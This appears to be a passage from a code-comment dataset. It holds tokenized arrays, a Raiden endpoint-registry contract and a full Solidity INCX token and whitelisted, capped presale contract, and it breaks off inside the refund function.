0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
444,
10784,
14667,
12,
11890,
389,
21386,
13,
3903,
1338,
5541,
288,
203,
202,
202,
416,
2752,
536,
1340,
273,
389,
21386,
31,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.23;
/// @title Endpoint Registry
/// @notice This contract is a registry which maps an Ethereum address to its
/// endpoint. The Raiden node registers its ethereum address in this registry.
contract EndpointRegistry {
string constant public contract_version = "0.3._";
event AddressRegistered(address indexed eth_address, string endpoint);
mapping (address => string) private address_to_endpoint;
modifier noEmptyString(string str) {
require(equals(str, "") != true);
_;
}
/// @notice Registers the Ethereum address to the given endpoint.
/// @param endpoint String in the format "127.0.0.1:38647".
function registerEndpoint(string endpoint)
public
noEmptyString(endpoint)
{
string storage old_endpoint = address_to_endpoint[msg.sender];
// Compare if the new endpoint matches the old one, if it does just
// return
if (equals(old_endpoint, endpoint)) {
return;
}
// Update the storage with the new endpoint value
address_to_endpoint[msg.sender] = endpoint;
emit AddressRegistered(msg.sender, endpoint);
}
/// @notice Finds the endpoint if given a registered Ethereum address.
/// @param eth_address A 20 byte Ethereum address.
/// @return endpoint which the current Ethereum address is using.
function findEndpointByAddress(address eth_address)
public
view
returns (string endpoint)
{
return address_to_endpoint[eth_address];
}
/// @notice Checks if two strings are equal or not.
/// @param a First string.
/// @param b Second string.
/// @return result True if `a` and `b` are equal, false otherwise.
function equals(string a, string b) internal pure returns (bool result)
{
if (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b))) {
return true;
}
return false;
}
}
| Update the storage with the new endpoint value | address_to_endpoint[msg.sender] = endpoint;
| 1,020,596 | [
1,
1891,
326,
2502,
598,
326,
394,
2494,
460,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1758,
67,
869,
67,
8003,
63,
3576,
18,
15330,
65,
273,
2494,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event MintResumed();
bool public mintingFinished = false;
uint256 public maxSupply;
function MintableToken(uint256 _maxSupply) public {
require(_maxSupply > 0);
maxSupply = _maxSupply;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier isWithinLimit(uint256 amount) {
require((totalSupply_.add(amount)) <= maxSupply);
_;
}
modifier canNotMint() {
require(mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint isWithinLimit(_amount) public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to resume minting new tokens.
* @return True if the operation was successful.
*/
function resumeMinting() onlyOwner canNotMint public returns (bool) {
mintingFinished = false;
emit MintResumed();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title INCXToken
* @dev This is a standard ERC20 token
*/
contract INCXToken is BurnableToken, PausableToken, MintableToken {
string public constant name = "INCX Coin";
string public constant symbol = "INCX";
uint64 public constant decimals = 18;
uint256 public constant maxLimit = 1000000000 * 10**uint(decimals);
function INCXToken()
public
MintableToken(maxLimit)
{
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param _beneficiary Token purchaser
* @param _tokenAmount Number of tokens to be minted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
/**
* @title WhitelistedCrowdsale
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
/**
* @dev Extend parent behavior requiring beneficiary to be in whitelist.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract IndividualCapCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
uint256 public minAmount;
uint256 public maxAmount;
mapping(address => uint256) public contributions;
function IndividualCapCrowdsale(uint256 _minAmount, uint256 _maxAmount) public {
require(_minAmount > 0);
require(_maxAmount > _minAmount);
minAmount = _minAmount;
maxAmount = _maxAmount;
}
/**
* @dev Set the minimum amount in wei that can be invested per each purchase
* @param _minAmount Minimum Amount of wei to be invested per each purchase
*/
function setMinAmount(uint256 _minAmount) public onlyOwner {
require(_minAmount > 0);
require(_minAmount < maxAmount);
minAmount = _minAmount;
}
/**
* @dev Set the overall maximum amount in wei that can be invested by user
* @param _maxAmount Maximum Amount of wei allowed to be invested by any user
*/
function setMaxAmount(uint256 _maxAmount) public onlyOwner {
require(_maxAmount > 0);
require(_maxAmount > minAmount);
maxAmount = _maxAmount;
}
/**
* @dev Extend parent behavior requiring purchase to have minimum weiAmount and be within overall maxWeiAmount
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_weiAmount >= minAmount);
super._preValidatePurchase(_beneficiary, _weiAmount);
require(contributions[_beneficiary].add(_weiAmount) <= maxAmount);
}
/**
* @dev Extend parent behavior to update user contributions
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount);
}
}
/**
* @title INCXPresale
* @dev This smart contract administers presale of incx token. It has following features:
* - There is a cap to how much ether can be raised
* - There is a time limit in which the tokens can be bought
* - Only whitelisted ethereum addresses can contribute (to enforce KYC)
* - There is a minimum ether limit on individual contribution per transaction
* - There is a maximum ether limit on total individual contribution
*/
contract INCXPresale is CappedCrowdsale, FinalizableCrowdsale, WhitelistedCrowdsale, IndividualCapCrowdsale, MintedCrowdsale {
event Refund(address indexed purchaser, uint256 tokens, uint256 weiReturned);
event TokensReturned(address indexed owner, uint256 tokens);
event EtherDepositedForRefund(address indexed sender,uint256 weiDeposited);
event EtherWithdrawn(address indexed wallet,uint256 weiWithdrawn);
function INCXPresale(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, INCXToken _token, uint256 _minAmount, uint256 _maxAmount)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
IndividualCapCrowdsale(_minAmount, _maxAmount)
{
}
/**
* @dev Transfer ownership of token back to wallet
*/
function finalization() internal {
Ownable(token).transferOwnership(wallet);
}
function isOpen() public view returns (bool) {
return now >= openingTime;
}
/**
* @dev Deposit ether with smart contract to allow refunds
*/
function depositEtherForRefund() external payable {
emit EtherDepositedForRefund(msg.sender, msg.value);
}
/**
* @dev Allow withdraw funds from smart contract
*/
function withdraw() public onlyOwner {
uint256 returnAmount = this.balance;
wallet.transfer(returnAmount);
emit EtherWithdrawn(wallet, returnAmount);
}
/**
* @dev This method refunds all the contribution that _purchaser has done
* @param _purchaser Token purchaser asking for refund
*/
function refund(address _purchaser) public onlyOwner {
uint256 amountToRefund = contributions[_purchaser];
require(amountToRefund > 0);
require(weiRaised >= amountToRefund);
require(address(this).balance >= amountToRefund);
contributions[_purchaser] = 0;
uint256 _tokens = _getTokenAmount(amountToRefund);
